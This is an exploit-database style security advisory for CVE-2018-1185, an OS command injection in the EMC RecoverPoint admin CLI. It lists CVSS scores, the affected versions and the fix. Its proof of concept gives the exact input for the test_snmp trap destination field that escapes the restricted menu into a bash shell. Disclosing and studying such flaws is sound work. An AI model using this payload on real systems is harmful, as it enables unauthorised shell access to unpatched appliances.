EMC RecoverPoint 4.3 Admin CLI Command Injection

2018.05.12
Credit: Paul Taylor
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: EMC RecoverPoint 4.3 - Admin CLI Command Injection # Version: RecoverPoint prior to 5.1.1 RecoverPoint for VMs prior to 5.0.1.3 # Date: 2018-05-11 # Exploit Author: Paul Taylor # Github: https://github.com/bao7uo # Tested on: RecoverPoint for VMs 4.3, RecoverPoint 4.4.SP1.P1 # CVE: CVE-2018-1185 1. Description An OS command injection vulnerability resulting in code execution as the built-in admin user. A crafted entry can result in the ability to escape from the restricted admin user's menu driven CLI to a full Linux operating system shell in the context of the admin user. The attack vector is the trap destination (hostname/IP) parameter of the test_snmp function. 2. Proof of Concept RecoverPoint> test_snmp Enter the trap destination (host name or IP) > /dev/null 2>&1 ; bash # admin@RecoverPoint:/home/kos/cli$ exit exit Test completed successfully. RecoverPoint> 3. Solution: Update to latest version of RecoverPoint


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